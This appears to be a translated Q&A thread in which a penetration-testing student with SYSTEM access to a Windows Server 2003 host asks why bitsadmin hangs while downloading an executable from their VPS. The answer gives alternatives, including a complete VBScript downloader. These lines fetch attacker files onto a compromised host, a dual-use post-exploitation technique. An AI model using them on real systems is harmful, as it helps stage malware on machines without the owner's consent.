Я пытаюсь загрузить исполняемый файл на Windows Server 2003 в рамках курса тестирования на проникновение, который я сейчас делаю, и мне кажется, что я не могу ... Powershell не включен, а битсадмин просто "зависает".

C:\dlhere>bitsadmin /transfer ez http://vps/executable.exe C:\dlhere\test.exe
bitsadmin /transfer ez http://vps/executable.exe C:\dlhere\test.exe

BITSADMIN version 2.0 [ 6.6.3790.1830 ]
BITS administration utility.
(C) Copyright 2000-2004 Microsoft Corp.

Я сейчас не в курсе ...

Я только что получил доступ из командной строки с помощью «NT Author \ Systemd».

1 ответ1

0

Согласно BITSAdmin Tool - MSDN (/Transfer раздел Переключатель передачи ):

BITSAdmin обновляет командное окно информацией о ходе выполнения до тех пор, пока передача не будет завершена или пока не произойдет критическая ошибка. BITSAdmin завершает работу, если успешно передает все файлы, и отменяет работу, если возникает критическая ошибка. BITSAdmin не создает задание, если не может добавить файлы в задание или если вы указали недопустимое значение для type или job_priority. Обратите внимание, что BITSAdmin продолжает работать, если происходит временная ошибка. Чтобы завершить BITSAdmin, нажмите Ctrl+C.

Поскольку BITS предназначен для передачи в фоновом режиме, это может занять неопределенное время, если сеть занята - и особенно, если служба BITS не запущена (я не проверял, запускает ли команда ее).

  • Кроме того, вы можете загрузить с помощью .NET функциональности в соответствии с Как скачать файлы из командной строки в Windows, как это делает Wget? даже с отключенной PowerShell, потому что csc.exe , компилятор C #, поставляется в комплекте с .NET.

  • Это также может быть сделано с помощью cscript с использованием COMH -объекта XMLHTTP в соответствии с использованием Windows Script Host и COM для взлома Windows (файл сценария можно записать с copy con):

    dim XmlHttp, URL, FileName, OutputStream
    URL = <URL>
    FileName = <FILENAME>
    set XmlHttp = WScript.CreateObject("MSXML2.XMLHTTP")
    set OutputStream = WScript.CreateObject("ADODB.Stream")
    XmlHttp.Open "GET", URL, false
    XmlHttp.Send
    OutputStream.Type = 1 'BINARY_STREAM_TYPE
    OutputStream.Open
    OutputStream.Write XmlHttp.responseBody
    OutputStream.SaveToFile FileName, 2 'CREATE_OVERWRITE_SAVE_MODE
    OutputStream.Close
    
  • другие сетевые утилиты, способные передавать файлы - например, telnet и ftp - тоже могут это делать. Тем не менее, они, как правило, не включены по умолчанию с Vista.

Всё ещё ищете ответ? Посмотрите другие вопросы с метками .